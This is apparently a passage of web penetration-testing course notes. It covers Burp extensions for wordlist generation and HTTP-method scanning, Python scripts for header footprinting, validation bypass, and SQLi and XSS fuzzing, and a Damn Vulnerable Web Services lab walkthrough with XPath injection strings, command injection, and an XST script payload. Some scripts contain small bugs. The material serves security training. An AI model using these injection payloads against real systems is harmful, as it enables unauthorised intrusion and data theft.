- The self.fromScope variable is set so the createWordlist function will know whether to look at all of the items in scope or to only look and the site(s) that were selected in the context menu. Then, a thread is defined (t), configured to run the createWordlist function (target=self.createWordlist), and start the thread. Without multi-threading, if we try to run the extension and have a large Sitemap or multiple targets selected, then the GUI will freeze while the program is running.
- If you save and reload this extension, then right-click and send the data to our extension, you should receive the following output in the Extender output tab.
- Now, we can finish the createWordList() function, which is where we interact with the Sitemap:
- - Writing the function that interacts with requests and responses in the Sitemap
- We can review the API documentation (within Burp) to see how to get the data from the Sitemap:
- So if called without any parameter, the entire Sitemap is returned. If a URL prefix is specified, it will only return the Sitemap data that startswith the URL prefix. Recall that our program gives the user two options: “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. To generate the wordlist for all hosts in scope we can return the entire Sitemap, and then use another Burp callbacks method isInScope() to determine whether or not we should use it. Note: When testing this extension I noticed that if you click on an out-of-scope entry in the Sitemap and select “Generate forced browsing wordlist from all hosts in scope”, it will still include that selection, as if it was in scope.
- To generate the wordlist from selected items we first need to record what is selected, then we can either pull the entire Sitemap and compare the URLs we want, or we can give the getSiteMap() the URL prefix for each site individually. I chose the former for this program.
- First, we determine what the user’s selection was:
- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- def createWordlistFromScope(self, event):
- ...
- t.start()
- def createWordlist(self):
- httpTraffic = self.context.getSelectedMessages()
- hostUrls = []
- for traffic in httpTraffic:
- try:
- hostUrls.append(str(traffic.getUrl()))
- except UnicodeEncodeError:
- continue
- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- Recall that self.context was what the user had selected in the Sitemap when they right-clicked, and the getSelectedMessages() method returns an array of objects containing data about the the items the user had selected. When I was developing the extension I inspected the object to get an idea of what it contained:
- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- print type(httpTraffic)
- <type 'array.array'>
- print dir(traffic)
- ['...', 'b', 'class', 'comment', 'equals', 'getClass', 'getComment', 'getHighlight', 'getHost', 'getHttpService', 'getPort', 'getProtocol', 'getRequest', 'getResponse', 'getStatusCode', 'getUrl', 'hashCode', 'highlight', 'host', 'httpService', 'notify', 'notifyAll', 'port', 'protocol', 'request', 'response', 'setComment', 'setHighlight', 'setHost', 'setHttpService', 'setPort', 'setProtocol', 'setRequest', 'setResponse', 'statusCode', 'toString', 'url', 'wait']
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- We are interested in getting the URL from each object, so we iterate through the array and call the getUrl() method. This method returns a type of ‘java.net.URL’, which we convert to a string using str() and add it to our hostUrls list that we will use later to filter the Sitemap data. The try/except block is to deal with any encoding errors, which I handle by ignoring not adding it to the hostUrls list.
- Now, we get the data from the Sitemap:
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- def createWordlist(self):
- ...
- continue
- urllist = []
- siteMapData = self.callbacks.getSiteMap(None)
- for entry in siteMapData:
- requestInfo = self.helpers.analyzeRequest(entry)
- url = requestInfo.getUrl()
- try:
- decodedUrl = self.helpers.urlDecode(str(url))
- except Exception as e:
- continue
- if self.fromScope and self.callbacks.isInScope(url):
- urllist.append(decodedUrl)
- else:
- for url in hostUrls:
- if decodedUrl.startswith(str(url)):
- urllist.append(decodedUrl)
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- We initialize a new list (urllist) to hold the URLs from each site, then call getSiteMap(None), which will return all of the Sitemap entries. For each entry, we use the analyzeRequest() method to get the URL, and then URL decode each entry.
- It is at this point that we get to our filtering. If self.fromScope is true, the isInScope() method is called on the URL. If that returns true, then the URL-decoded URL is appended to our urllist. If self.fromScope is False (meaning the user chose “Generate forced browsing wordlist from selected items”), the URL from the Sitemap is checked against the URLs that the user had selected in the context menu. If the decoded URL starts with the user-selected URL, then it is appended to the urllist.
- Now, the urllist variable contains a list of URLs, complete with the querystring. Since we don’t need the querystring, and only want the last part of the path, we need to split up the URL and take only the part we want:
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- def createWordlist(self):
- ...
- urllist.append(decodedUrl)
- filenamelist = []
- for entry in urllist:
- filenamelist.append(entry.split('/')[-1].split('?')[0])
- for word in sorted(set(filenamelist)):
- if word:
- try:
- print word
- except UnicodeEncodeError:
- continue
- try:
- FixBurpExceptions()
- ...
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- The filenamelist is where we will store our forced browsing wordlist. We split each URL entry in urllist, first by the ‘/’. The split function() turns the string URL into a list, and the [-1] will grab the last element of that list. That last element will be the filename and any querystring, so it is split again at the ‘?’ and the first element is selected. For example:
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- >>> url = 'http://example.com/app/folder/file.php?param=value'
- >>> url.split('/')
- ['http:', '', 'example.com', 'app', 'folder', 'file.php?param=value']
- >>> url.split('/')[-1]
- 'file.php?param=value'
- >>> url.split('/')[-1].split('?')
- ['file.php', 'param=value']
- >>> url.split('/')[-1].split('?')[0]
- 'file.php'
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- That filename is appended into the filenamelist. Finally, we iterate through the filenamelist (after sorting and unique’ing the list) and print everything into the Extender output pane.
- And that’s it! Save, reload, and you should now have a functional extension that makes use of the context menu and Sitemap.
- - Full code:
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- __author__ = 'Jake Miller (@LaconicWolf)'
- __date__ = '20190226'
- __version__ = '0.01'
- __description__ = """\
- Burp Extension that extracts the filenames from URLs in
- scope or from a selected host. Just right click on the
- hosts pane in the sitemap and click 'Generate forced
- browsing wordlist' for either selected items or all hosts
- in scope. The output will appear in the extender tab, where
- you can set configure the extension to output to the system console,
- save to a file, or show in the UI.
- Blog post explaining all the code in detail:
- https://laconicwolf.com/2019/03/09/burp-extension-python-tutorial-generate-a-forced-browsing-wordlist/
- """
- from burp import IBurpExtender, IContextMenuFactory
- from java.util import ArrayList
- from javax.swing import JMenuItem
- import threading
- import sys
- try:
- from exceptions_fix import FixBurpExceptions
- except ImportError:
- pass
- class BurpExtender(IBurpExtender, IContextMenuFactory):
- def registerExtenderCallbacks(self, callbacks):
- sys.stdout = callbacks.getStdout()
- self.callbacks = callbacks
- self.helpers = callbacks.getHelpers()
- self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
- callbacks.registerContextMenuFactory(self)
- return
- def createMenuItems(self, invocation):
- self.context = invocation
- menuList = ArrayList()
- menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
- actionPerformed=self.createWordlistFromSelected)
- menuList.add(menuItem)
- menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
- actionPerformed=self.createWordlistFromScope)
- menuList.add(menuItem)
- return menuList
- def createWordlistFromSelected(self, event):
- self.fromScope = False
- t = threading.Thread(target=self.createWordlist)
- t.daemon = True
- t.start()
- def createWordlistFromScope(self, event):
- self.fromScope = True
- t = threading.Thread(target=self.createWordlist)
- t.daemon = True
- t.start()
- def createWordlist(self):
- httpTraffic = self.context.getSelectedMessages()
- hostUrls = []
- for traffic in httpTraffic:
- try:
- hostUrls.append(str(traffic.getUrl()))
- except UnicodeEncodeError:
- continue
- urllist = []
- siteMapData = self.callbacks.getSiteMap(None)
- for entry in siteMapData:
- requestInfo = self.helpers.analyzeRequest(entry)
- url = requestInfo.getUrl()
- try:
- decodedUrl = self.helpers.urlDecode(str(url))
- except Exception as e:
- continue
- if self.fromScope and self.callbacks.isInScope(url):
- urllist.append(decodedUrl)
- else:
- for url in hostUrls:
- if decodedUrl.startswith(str(url)):
- urllist.append(decodedUrl)
- filenamelist = []
- for entry in urllist:
- filenamelist.append(entry.split('/')[-1].split('?')[0])
- for word in sorted(set(filenamelist)):
- if word:
- try:
- print word
- except UnicodeEncodeError:
- continue
- try:
- FixBurpExceptions()
- except:
- pass
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- #########################
- # BurpVERBalyzer Plugin #
- #########################
- https://raw.githubusercontent.com/doyler/SecurityTools/master/BurpVERBalyzer/VERBalyzer.py
- - Full code:
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- # VERBalyzer - Burp Plugin to detect HTTP Methods supported by the server
- # Author: Ray Doyle (@doylersec) <https://www.doyler.net>
- # Copyright 2017
- #
- # Licensed under the Apache License, Version 2.0 (the "License");
- # you may not use this file except in compliance with the License.
- # You may obtain a copy of the License at
- #
- # http://www.apache.org/licenses/LICENSE-2.0
- #
- # Unless required by applicable law or agreed to in writing, software
- # distributed under the License is distributed on an "AS IS" BASIS,
- # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- # See the License for the specific language governing permissions and
- # limitations under the License.
- try:
- from burp import IBurpExtender
- from burp import IScannerCheck
- from burp import IScanIssue
- from burp import IScannerInsertionPointProvider
- from burp import IScannerInsertionPoint
- from burp import IParameter
- from array import array
- from org.python.core.util import StringUtil
- import string
- except ImportError:
- print "Failed to load dependencies."
- VERSION = "1.0"
- callbacks = None
- helpers = None
- methods = [
- 'OPTIONS',
- #'GET',
- #'HEAD',
- #'POST',
- 'PUT',
- #'DELETE',
- 'TRACE',
- 'CONNECT'
- 'PROPFIND',
- 'PROPPATCH',
- 'MKCOL',
- 'COPY',
- 'MOVE',
- 'LOCK',
- 'UNLOCK',
- 'VERSION-CONTROL',
- 'REPORT',
- 'CHECKOUT',
- 'CHECKIN',
- 'UNCHECKOUT',
- 'MKWORKSPACE',
- 'UPDATE',
- 'LABEL',
- 'MERGE',
- 'BASELINE-CONTROL',
- 'MKACTIVITY',
- 'ORDERPATCH',
- 'ACL',
- 'SEARCH',
- 'PATCH',
- 'FOO'
- ]
- class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IScannerCheck):
- def registerExtenderCallbacks(self, callbacks):
- self._callbacks = callbacks
- self._helpers = callbacks.getHelpers()
- callbacks.setExtensionName("VERBalyzer")
- callbacks.registerScannerInsertionPointProvider(self)
- callbacks.registerScannerCheck(self)
- print "Successfully loaded VERBalyzer v" + VERSION
- return
- # helper method to search a response for occurrences of a literal match string
- # and return a list of start/end offsets
- def _get_matches(self, response, match):
- matches = []
- start = 0
- reslen = len(response)
- matchlen = len(match)
- while start < reslen:
- start = self._helpers.indexOf(response, match, True, start, reslen)
- if start == -1:
- break
- matches.append(array('i', [start, start + matchlen]))
- start += matchlen
- return matches
- #
- # implement IScannerInsertionPointProvider
- #
- def getInsertionPoints(self, baseRequestResponse):
- requestLine = self._helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders()[0]
- if (requestLine is None):
- return None
- else:
- # if the parameter is present, add a single custom insertion point for it
- return [ InsertionPoint(self._helpers, baseRequestResponse.getRequest(), requestLine) ]
- def doActiveScan(self, baseRequestResponse, insertionPoint):
- if 'HTTP Method' != insertionPoint.getInsertionPointName():
- return []
- issues = []
- for method in methods:
- checkRequest = insertionPoint.buildRequest(method)
- checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest)
- matches = self._get_matches(checkRequestResponse.getResponse(), "HTTP/1.1 200 OK")
- if len(matches) > 0:
- # get the offsets of the payload within the request, for in-UI highlighting
- requestHighlights = [insertionPoint.getPayloadOffsets(method)]
- issues.append(CustomScanIssue(
- baseRequestResponse.getHttpService(),
- self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
- [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
- "Non-standard HTTP Method Found",
- "The following method was found to be supported by the server: " + method,
- "Medium"))
- return issues
- def doPassiveScan(self, basePair):
- return []
- def consolidateDuplicateIssues(self, existingIssue, newIssue):
- # This method is called when multiple issues are reported for the same URL
- # path by the same extension-provided check. The value we return from this
- # method determines how/whether Burp consolidates the multiple issues
- # to prevent duplication
- #
- # Since the issue name is sufficient to identify our issues as different,
- # if both issues have the same name, only report the existing issue
- # otherwise report both issues
- if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
- return -1
- return 0
- #
- # class implementing IScannerInsertionPoint
- #
- class InsertionPoint(IScannerInsertionPoint):
- def __init__(self, helpers, baseRequest, requestLine):
- self._helpers = helpers
- self._baseRequest = baseRequest
- # parse the location of the input string within the decoded data
- start = 0
- self._insertionPointPrefix = requestLine[:start]
- end = string.find(requestLine, " /", start)
- if (end == -1):
- end = requestLine.length()
- self._baseValue = requestLine[start:end]
- self._insertionPointSuffix = requestLine[end:]
- return
- #
- # implement IScannerInsertionPoint
- #
- def getInsertionPointName(self):
- return "HTTP Method"
- def getBaseValue(self):
- return self._baseValue
- def buildRequest(self, payload):
- # Gross workaround via Dafydd - https://support.portswigger.net/customer/portal/questions/12431820-design-of-active-scanner-plugin-vs-insertionpoints
- if payload.tostring() not in methods:
- raise Exception('Just stopping Burp from using our custom insertion point')
- else:
- requestStr = self._baseRequest.tostring()
- newRequest = requestStr.replace(self._baseValue, payload)
- newRequestB = StringUtil.toBytes(newRequest)
- # update the request with the new parameter value
- return newRequestB
- def getPayloadOffsets(self, payload):
- return [0, len(payload.tostring())]
- def getInsertionPointType(self):
- return INS_EXTENSION_PROVIDED
- #
- # class implementing IScanIssue to hold our custom scan issue details
- #
- class CustomScanIssue (IScanIssue):
- def __init__(self, httpService, url, httpMessages, name, detail, severity):
- self._httpService = httpService
- self._url = url
- self._httpMessages = httpMessages
- self._name = name
- self._detail = detail
- self._severity = severity
- def getUrl(self):
- return self._url
- def getIssueName(self):
- return self._name
- def getIssueType(self):
- return 0
- def getSeverity(self):
- return self._severity
- def getConfidence(self):
- return "Certain"
- def getIssueBackground(self):
- pass
- def getRemediationBackground(self):
- pass
- def getIssueDetail(self):
- return self._detail
- def getRemediationDetail(self):
- pass
- def getHttpMessages(self):
- return self._httpMessages
- def getHttpService(self):
- return self._httpService
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- ################################################
- # Python Penetration Testing—Application Layer #
- ################################################
- ########################################
- # Testing availability of HTTP methods #
- ########################################
- A very good practice for a penetration tester is to start by listing the various available HTTP methods.
- Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
- To begin with, we need to import the requests library:
- ---------------------------
- import requests
- ---------------------------
- After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
- ----------------------------------------------------------------------------
- method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
- ----------------------------------------------------------------------------
- The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'Enter the URL’)
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
- -------------------------------------------------------------
- if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print ('Cross Site Tracing(XST) is possible')
- -------------------------------------------------------------
- *** Full code with example url: ***
- ---------------------------Type This-----------------------------------
- nano xst.py
- ---------------------------Paste This----------------------------------
- import requests
- method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
- for method in method_list:
- req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
- print (method, req.status_code, req.reason)
- if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print ('Cross Site Tracing(XST) is possible')
- -------------------------------------------------------------------------
- After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
- ---------------------------Type This-----------------------------------
- python3 xst.py
- -----------------------------------------------------------------------
- ##########################################
- # Foot printing by checking HTTP headers #
- ##########################################
- HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
- To begin with, let us import the requests library:
- ------------------------
- import requests
- ------------------------
- We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
- ---------------------------------------------
- request = requests.get('enter the URL')
- ---------------------------------------------
- Next, we will generate a list of headers about which you need the information.
- ---------------------------------------------------------------------------------------------------------------
- header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
- ---------------------------------------------------------------------------------------------------------------
- Next is a try and except block.
- ---------------------------------------------------
- for header in header_list:
- try:
- result = request.headers[header]
- print ('%s: %s' % (header, result))
- except Exception as err:
- print ('%s: No Details Found' % header)
- ---------------------------------------------------
- *** Example Full Code: ***
- ---------------------------Type This-----------------------------------
- nano headercheck.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import requests
- request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
- header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
- for header in header_list:
- try:
- result = request.headers[header]
- print ('%s: %s' % (header, result))
- except Exception as err:
- print ('%s: No Details Found' % header)
- ----------------------------------------------------------------------------------------------------------------
- After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
- ---------------------------Type This-----------------------------------
- python3 headercheck.py
- -----------------------------------------------------------------------
- ##############################################
- # Testing insecure web server configurations #
- ##############################################
- We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
- ---------------------------Type This-----------------------------------
- nano websites.txt
- ---------------------------Paste This----------------------------------
- https://www.google.com
- https://www.cnn.com
- https://foxnews.com
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano insecure_config_check.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/eve python3
- import requests
- urls = open("websites.txt", "r")
- for url in urls:
- url = url.strip()
- req = requests.get(url)
- print (url, 'report:')
- try:
- protection_xss = req.headers['X-XSS-Protection']
- if protection_xss != '1; mode=block':
- print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
- except:
- print ('X-XSS-Protection not set, it may be possible')
- try:
- options_content_type = req.headers['X-Content-Type-Options']
- if options_content_type != 'nosniff':
- print ('X-Content-Type-Options not set properly:', options_content_type)
- except:
- print ('X-Content-Type-Options not set')
- try:
- transport_security = req.headers['Strict-Transport-Security']
- except:
- print ('HSTS header not set properly, Man in the middle attacks is possible')
- try:
- content_security = req.headers['Content-Security-Policy']
- print ('Content-Security-Policy set:', content_security)
- except:
- print ('Content-Security-Policy missing')
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 insecure_config_check.py
- -----------------------------------------------------------------------
- #####################################
- # Footprinting of a Web Application #
- #####################################
- Methods for Footprinting of a Web Application
- Gathering information using parser BeautifulSoup
- Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
- To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
- --------------------------------------
- apt-get install python3-bs4 <-- This is already installed. You don't have to do this step
- --------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3
- import urllib
- from bs4 import BeautifulSoup
- -----------------------------------------------------------------------
- The Python script given below will gather the title of web page andhyperlinks:
- Now, we need a variable, which can store the URL of the website. Here, we will use avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
- ---------------------------Type This-----------------------------------
- from urllib.request import urlopen
- url = 'http://www.python.org'
- file = urlopen(url)
- html_page = file.read()
- -----------------------------------------------------------------------
- The html_page will be assigned as an input to create soup object.
- ---------------------------Type This-----------------------------------
- soup_object = BeautifulSoup(html_page)
- -----------------------------------------------------------------------
- Following two lines will print the title name with tags and without tags respectively.
- ---------------------------Type This-----------------------------------
- print(soup_object.title)
- print(soup_object.title.text)
- -----------------------------------------------------------------------
- The line of code shown below will save all the hyperlinks.
- ---------------------------Type This-----------------------------------
- for link in soup_object.find_all('a'):
- print(link.get('href'))
- -----------------------------------------------------------------------
- *** Full example code: ***
- ---------------------------Type This-----------------------------------
- import urllib
- from bs4 import BeautifulSoup
- from urllib.request import urlopen
- url = 'http://www.python.org'
- file = urlopen(url)
- html_page = file.read()
- print(html_page)
- soup_object= BeautifulSoup(html_page)
- print(soup_object.title)
- print(soup_object.title.text)
- for link in soup_object.find_all('a'):
- print(link.get('href'))
- -----------------------------------------------------------------------
- ###################
- # Banner grabbing #
- ###################
- The following Python script helps grab the banner using socket programming:
- ------------------------------------------------------------------------------
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
- host = input("Enter the host name: ")
- port = int(input("Enter Port: "))
- # host = '192.168.1.54'
- # port = 22
- s.connect((host, port))
- try:
- s.send(b'GET HTTP/1.1 \r\n')
- ret = s.recv(1024)
- print('[+]{}'.format(ret))
- except Exception as e:
- print('[-] Not information grabbed: {}'.format(e))
- -------------------------------------------------------------------------------
- After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
- ###################################################
- # Server-side Validation & Client-side Validation #
- ###################################################
- #######################################
- # Python Module for Validation Bypass #
- #######################################
- The Python module that we are going to useis mechanize. Itis a Python web browser, whichis providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
- ---------------------------------
- pip3 install mechanize <-- This is already installed. You don't have to do this step
- ---------------------------------
- Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
- To begin with, let us import the mechanize browser:
- ----------------------
- import mechanize
- ----------------------
- Now, we will create an object named brwsr of the mechanize browser:
- -----------------------------
- brwsr = mechanize.Browser()
- -----------------------------
- The next line of code shows that the user agent is not a robot
- --------------------------------
- brwsr.set_handle_robots( False )
- --------------------------------
- Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
- -----------------------------
- url = input("Enter URL ")
- -----------------------------
- Now, following lines will set some parenters to true.
- -----------------------------------
- brwsr.set_handle_equiv(True)
- brwsr.set_handle_gzip(True)
- brwsr.set_handle_redirect(True)
- brwsr.set_handle_referer(True)
- ----------------------------------
- Next it will open the web page and print the web form on that page.
- -----------------------------
- brwsr.open(url)
- for form in brwsr.forms():
- print(form)
- -----------------------------
- Next line of codes will bypass the validations on the given fields.
- ------------------------------------
- brwsr.select_form(nr=0)
- brwsr.form['name'] = ''
- brwsr.form['gender'] = ''
- brwsr.submit()
- ------------------------------------
- The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
- ################################################
- # Python Penetration Testing — SQLi Web Attack #
- ################################################
- The attack can be categorize into the following two types:
- - In-band SQL injection (Simple SQLi)
- - Inferential SQL injection (Blind SQLi)
- All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
- The following Python script helps submit forms and analyze the response using mechanize:
- First of all we need to import the mechanize module.
- -----------------------
- import mechanize
- -----------------------
- Now, provide the name of the URL for obtaining the response after submitting the form.
- -------------------------------------
- url = input("Enter the full url")
- -------------------------------------
- The following line of codes will open the url.
- -----------------------------------
- request = mechanize.Browser()
- request.open(url)
- -----------------------------------
- Now, we need to select the form.
- ---------------------------------
- request.select_form(nr=0)
- ---------------------------------
- Here,we will setthe column name ‘id’.
- ---------------------------------
- request["id"] = "1 OR 1=1"
- ---------------------------------
- Now, we need to submit the form
- ---------------------------------
- response = request.submit()
- content = response.read()
- print(content)
- --------------------------------
- The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
- To begin with, let us import the mechanize module.
- ---------------------------
- import mechanize
- ---------------------------
- Now, provide the name of the URL for obtaining the response after submitting the form.
- ---------------------------------
- url = input("Enter the full url")
- attack_no = 1
- ---------------------------------
- We need to read the attack vectors from the file
- -------------------------------------
- with open ('vectors.txt') as v:
- -------------------------------------
- Now we will send request with each arrack vector
- -------------------------------
- for line in v:
- browser.open(url)
- browser.select_form(nr=0)
- browser["id"] = line
- res = browser.submit()
- content = res.read()
- ------------------------------
- Now, the following line of code will write the response to the output file.
- -----------------------------------------------------
- output = open('response/'+str(attack_no)+'.txt','w')
- output.write(content)
- output.close()
- print attack_no
- attack_no += 1
- -----------------------------------------------------
- By checking and analyzing the responses, we can identify the possible attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
- ###############################################
- # Python Penetration Testing — XSS Web Attack #
- ###############################################
- Types of XSS Attack
- The attack can be classified into the following major categories:
- -Persistent or stored XSS
- -Non-persistent or reflected XSS
- Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
- To begin with, let us import the mechanize module.
- ------------------------
- import mechanize
- -----------------------
- Now, provide the name of the URL for obtaining the response after submitting the form.
- ----------------------------------
- url = input("Enter the full url")
- attack_no = 1
- ----------------------------------
- We need to read the attack vectors from the file.
- ---------------------------------------
- with open ('vectors_XSS.txt') as x:
- --------------------------------------
- Now we will send request with each arrack vector
- -------------------------
- for line in x:
- browser.open(url)
- browser.select_form(nr=0)
- browser["id"] = line
- res = browser.submit()
- content = res.read()
- ------------------------
- The following line of code will check the printed attack vector.
- -----------------------------
- if content.find(line) > 0:
- print("Possible XSS")
- -----------------------------
- The following line of code will write the response to output file.
- -----------------------------------------------------------
- output = open('response/'+str(attack_no)+'.txt','w')
- output.write(content)
- output.close()
- print attack_no
- attack_no += 1
- ----------------------------------------------------------
- *** Full example code: ***
- ------------------------------------------------------------------
- import mechanize
- url = input("Enter the full url")
- attack_no = 1
- with open ('vectors_XSS.txt') as x:
- for line in x:
- browser.open(url)
- browser.select_form(nr=0)
- browser["id"] = line
- res = browser.submit()
- content = res.read()
- if content.find(line) > 0:
- print("Possible XSS")
- output = open('response/'+str(attack_no)+'.txt','w')
- output.write(content)
- output.close()
- print attack_no
- attack_no += 1
- -----------------------------------------------------------------
- XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we provided. If the attack vector is present in the response without any escape or validation,there is a high possibility of XSS attack.
- ########################
- ----------- ############### # Day 4: Web Services ############### -----------
- ########################
- #####################################################
- # Damn Vulnerable Web Services (DVWS) – Walkthrough #
- #####################################################
- You can see the attack steps for Damn Vulnerable Web Services in the PDF below:
- http://45.63.104.73/DamnVulnerableWebServices.pdf
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- http://dvws1.infosecaddicts.com/dvws1/
- -----------------------------------------------------------------------
- A really simple search page that is vulnerable should come up.
- Setup or reset the database by going to http://dvws1.infosecaddicts.com/dvws1/instructions.php
- All next steps should be done with using Burp Suite.
- ####################
- # WSDL Enumeration #
- ####################
- Spider DVWS1 using Burp Suite and look for service.php
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/wsdlenum/service.php
- -----------------------------------------------------------------------------
- Requests processed by SOAP service include check_user_information, owasp_apitop10, population and return_price
- ###################
- # XPATH Injection #
- ###################
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xpath/xpath.php
- -----------------------------------------------------------------------------
- User Login:
- ---------------------------Type This-----------------------------------
- 1' or '1'='1
- -----------------------------------------------------------------------
- User Password:
- ---------------------------Type This-----------------------------------
- 1' or '1'='1
- -----------------------------------------------------------------------
- Click Submit
- ######################################################
- # Command Injection (This will only work on Windows) #
- ######################################################
- Original Request
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/cmdi/client.php
- -----------------------------------------------------------------------------
- parameter value of name is "find" by default
- Edited Request
- change the parameter value of name from "find" to "dir"
- ############################
- # Cross Site Tracing (XST) #
- ############################
- Hint of "The NuSOAP Library service is vulnerable to a Cross-site scripting flaw" is given by DVWS. Exploit is published at exploit DB (https://www.exploit-db.com/exploits/34565/)
- Note: We did the modification on the source code at \dvws\vulnerabilities\xst\xst.php due to improper creation of cookie. The following snippet are moved to the beginning part of the xst.php:
- As what mentioned by DVWS, the vulnerable page is /dvws/vulnerabilities/wsdlenum/service.php/
- The payload we used to perform XST as below:
- <ScrIpt type='text/javascript'>
- var req = new XMLHttpRequest();
- req.open('GET', 'http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php',false);
- req.send();
- result=req.responseText;
- alert(result);
- </scRipT>
- URL:
- Use Firefox to browse to the following location:
- ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/wsdlenum/service.php/%3cScrIpt%20type='text/javascript'%3evar%20req%20=%20new%20XMLHttpRequest();req.open('GET',%20'http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php',false);req.send();result=req.responseText;alert(result);%3c/scRipT%3e
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------
- Amend GET method to TRACE method
